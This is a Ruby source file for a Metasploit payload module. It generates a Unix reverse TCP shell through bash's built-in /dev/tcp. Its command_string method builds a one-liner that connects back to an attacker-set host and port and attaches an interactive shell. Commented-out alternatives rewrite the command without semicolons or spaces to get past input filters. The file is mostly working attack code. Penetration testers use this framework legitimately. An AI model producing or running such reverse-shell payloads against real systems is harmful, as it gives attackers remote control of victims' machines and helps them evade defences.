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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = :dynamic
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Unix Command Shell, Reverse TCP (/dev/tcp)',
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        'Description' => %q{
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          Creates an interactive shell via bash's builtin /dev/tcp.
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          This will not work on circa 2009 and older Debian-based Linux
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          distributions (including Ubuntu) because they compile bash
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          without the /dev/tcp feature.
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        },
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        'Author' => 'hdm',
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        'License' => MSF_LICENSE,
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Handler' => Msf::Handler::ReverseTcp,
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        'Session' => Msf::Sessions::CommandShellUnix,
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        'PayloadType' => 'cmd_bash',
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        'RequiredCmd' => 'bash-tcp',
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        'Payload' => {
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          'Offsets' => {},
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          'Payload' => ''
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        }
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      )
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    )
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    register_advanced_options(
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      [
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        OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']),
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        OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
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      ]
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    vprint_good(command_string)
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    return super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    fd = rand(20..219)
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    return "#{datastore['BashPath']} -c '0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};#{datastore['ShellPath']} <&#{fd} >&#{fd} 2>&#{fd}'"
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    # same thing, no semicolons
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    # return "/bin/bash #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} <&#{fd} >&#{fd}"
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    # same thing, no spaces
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    # return "s=${IFS:0:1};eval$s\"bash${s}#{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']}$s<&#{fd}$s>&#{fd}&\""
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  end
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end
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